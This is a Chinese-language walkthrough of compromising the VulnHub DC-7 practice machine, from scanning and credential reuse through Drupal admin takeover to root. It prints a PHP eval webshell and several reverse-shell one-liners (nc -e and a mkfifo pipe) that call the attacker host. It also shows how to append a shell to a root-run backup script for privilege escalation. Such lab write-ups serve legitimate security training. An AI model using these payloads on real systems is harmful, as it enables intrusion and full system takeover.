VulnHub靶机 DC-7 打靶 详细渗透过程
字数 1552 2025-08-19 12:42:26

DC-7 靶机渗透测试详细教程

1. 靶机信息与环境准备

  • 靶机名称:DC-7
  • 下载地址:https://www.vulnhub.com/entry/dc-7,356/
  • 难度等级:中等
  • 测试环境:VMware/VirtualBox 虚拟机环境

2. 信息收集阶段

2.1 主机发现

使用以下命令进行主机发现:

arp-scan -l
# 或
nmap -sn 10.1.2.0/24

2.2 端口扫描

对目标IP(假设为10.1.2.237)进行全端口扫描:

nmap -p- 10.1.2.237

发现开放端口:

  • 22/tcp - SSH服务
  • 80/tcp - HTTP服务

2.3 服务版本探测

详细探测服务信息:

nmap -p80 -sV -A 10.1.2.237

2.4 目录爆破

使用dirsearch进行目录爆破:

dirsearch -u http://10.1.2.237/ -i 200

3. Web应用分析

3.1 指纹识别

识别Web应用指纹:

whatweb http://10.1.2.237/

3.2 源码审计

  1. 在网页左下角发现作者信息
  2. 根据作者信息在GitHub搜索相关项目
  3. 在GitHub仓库中找到config.php配置文件,内容如下:
<?php 
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

4. 初始访问获取

4.1 SSH登录尝试

使用发现的凭据尝试SSH登录:

ssh dc7user@10.1.2.237
# 密码: MdR3xOgB7#dW

成功获取初始shell访问权限。

5. 权限提升路径

5.1 检查系统信息

  1. 查找具有SUID权限的文件:
find / -perm -u=s -type f 2>/dev/null
  1. 检查用户邮件:
cat /var/mail/dc7user

在邮件中发现重要信息,指向备份脚本。

5.2 分析备份脚本

查看/opt/scripts/backups.sh脚本:

ls -l /opt/scripts/backups.sh
cat /opt/scripts/backups.sh

发现脚本属主为root,属组为www-data,且脚本中使用了drush命令。

5.3 利用drush修改密码

  1. 了解drush命令:
drush help
  1. 修改Drupal管理员密码:
drush user-password admin --password="admin"
  1. 如果报错,切换到网站目录再次执行。

5.4 访问Drupal后台

  1. 使用新密码(admin/admin)登录Drupal后台
  2. 导航到"扩展"部分

6. 获取Webshell

6.1 安装PHP模块

由于Drupal 8默认不支持PHP代码执行,需要安装PHP模块:

  1. 下载PHP模块:

    • 项目页面:https://www.drupal.org/project/php
    • 下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
  2. 在Drupal后台"扩展"中安装该模块

6.2 添加PHP代码

  1. 编辑页面内容,添加PHP代码:
<?php @eval($_POST['cmd']);?>
  1. 保存时选择"PHP code"格式

6.3 使用蚁剑连接

使用中国蚁剑等工具连接webshell,获取www-data权限。

7. 权限提升至root

7.1 反弹shell

  1. 在webshell中执行反弹命令:
nc -e /bin/bash 10.1.2.228 8888
  1. 在攻击机监听:
nc -lvnp 8888
  1. 获取稳定shell:
python -c "import pty;pty.spawn('/bin/bash')"

7.2 利用备份脚本提权

  1. 将反弹shell命令追加到备份脚本:
echo "nc -e /bin/bash 10.1.2.228 6666" >> /opt/scripts/backups.sh
# 或
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.1.2.228 6666 >/tmp/f" >> /opt/scripts/backups.sh
  1. 等待脚本执行(可能是计划任务)或直接执行脚本

  2. 在攻击机监听6666端口,获取root shell

8. 渗透测试总结

完整攻击链:

  1. 主机发现 → 端口扫描 → 目录爆破
  2. 发现后台 → 服务探测 → 白盒测试(源码审计)
  3. 找到配置文件 → SSH远程登录
  4. 检查邮件信息 → 发现备份脚本
  5. 利用drush命令 → 修改后台密码
  6. 进入后台 → 安装PHP模块 → getshell
  7. 反弹shell → 修改备份脚本 → 提权至root

9. 关键点总结

  1. 信息收集:全面的信息收集是渗透测试的基础
  2. 源码审计:白盒测试中源码审计可以快速发现敏感信息
  3. 凭证复用:Web应用凭据可能在系统层面复用
  4. 邮件检查:系统邮件往往包含重要信息
  5. 备份脚本分析:自动化脚本可能是提权的关键点
  6. Drupal模块利用:了解CMS特性有助于突破限制
  7. 计划任务利用:利用系统自动化任务实现权限提升

10. 防御建议

  1. 避免在源码中硬编码敏感信息
  2. 实施最小权限原则
  3. 定期审计系统脚本和计划任务
  4. 保持CMS和插件更新
  5. 使用强密码且避免凭据复用
  6. 限制SSH访问
  7. 监控系统日志和异常行为
DC-7 靶机渗透测试详细教程 1. 靶机信息与环境准备 靶机名称:DC-7 下载地址:https://www.vulnhub.com/entry/dc-7,356/ 难度等级:中等 测试环境:VMware/VirtualBox 虚拟机环境 2. 信息收集阶段 2.1 主机发现 使用以下命令进行主机发现: 2.2 端口扫描 对目标IP(假设为10.1.2.237)进行全端口扫描: 发现开放端口: 22/tcp - SSH服务 80/tcp - HTTP服务 2.3 服务版本探测 详细探测服务信息: 2.4 目录爆破 使用dirsearch进行目录爆破: 3. Web应用分析 3.1 指纹识别 识别Web应用指纹: 3.2 源码审计 在网页左下角发现作者信息 根据作者信息在GitHub搜索相关项目 在GitHub仓库中找到config.php配置文件,内容如下: 4. 初始访问获取 4.1 SSH登录尝试 使用发现的凭据尝试SSH登录: 成功获取初始shell访问权限。 5. 权限提升路径 5.1 检查系统信息 查找具有SUID权限的文件: 检查用户邮件: 在邮件中发现重要信息,指向备份脚本。 5.2 分析备份脚本 查看/opt/scripts/backups.sh脚本: 发现脚本属主为root,属组为www-data,且脚本中使用了drush命令。 5.3 利用drush修改密码 了解drush命令: 修改Drupal管理员密码: 如果报错,切换到网站目录再次执行。 5.4 访问Drupal后台 使用新密码(admin/admin)登录Drupal后台 导航到"扩展"部分 6. 获取Webshell 6.1 安装PHP模块 由于Drupal 8默认不支持PHP代码执行,需要安装PHP模块: 下载PHP模块: 项目页面:https://www.drupal.org/project/php 下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 在Drupal后台"扩展"中安装该模块 6.2 添加PHP代码 编辑页面内容,添加PHP代码: 保存时选择"PHP code"格式 6.3 使用蚁剑连接 使用中国蚁剑等工具连接webshell,获取www-data权限。 7. 权限提升至root 7.1 反弹shell 在webshell中执行反弹命令: 在攻击机监听: 获取稳定shell: 7.2 利用备份脚本提权 将反弹shell命令追加到备份脚本: 等待脚本执行(可能是计划任务)或直接执行脚本 在攻击机监听6666端口,获取root shell 8. 渗透测试总结 完整攻击链: 主机发现 → 端口扫描 → 目录爆破 发现后台 → 服务探测 → 白盒测试(源码审计) 找到配置文件 → SSH远程登录 检查邮件信息 → 发现备份脚本 利用drush命令 → 修改后台密码 进入后台 → 安装PHP模块 → getshell 反弹shell → 修改备份脚本 → 提权至root 9. 关键点总结 信息收集 :全面的信息收集是渗透测试的基础 源码审计 :白盒测试中源码审计可以快速发现敏感信息 凭证复用 :Web应用凭据可能在系统层面复用 邮件检查 :系统邮件往往包含重要信息 备份脚本分析 :自动化脚本可能是提权的关键点 Drupal模块利用 :了解CMS特性有助于突破限制 计划任务利用 :利用系统自动化任务实现权限提升 10. 防御建议 避免在源码中硬编码敏感信息 实施最小权限原则 定期审计系统脚本和计划任务 保持CMS和插件更新 使用强密码且避免凭据复用 限制SSH访问 监控系统日志和异常行为